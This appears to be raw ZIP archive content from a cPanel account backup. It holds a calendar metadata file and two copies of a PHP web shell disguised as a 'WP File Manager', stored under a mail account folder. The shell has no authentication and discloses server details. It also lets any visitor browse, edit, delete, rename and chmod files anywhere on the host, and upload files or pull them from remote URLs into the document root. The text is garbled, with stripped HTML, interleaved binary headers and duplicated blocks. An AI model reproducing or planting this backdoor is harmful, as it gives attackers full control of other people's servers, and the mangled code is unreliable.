octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]ÔBBinfo@dunyagoz-ks.com/.metadatanu„[µü¤[calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 [addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK PK’&{]„N9³§Ë§Ëinfo@dunyagoz-ks.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëinfo@dunyagoz-ks.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
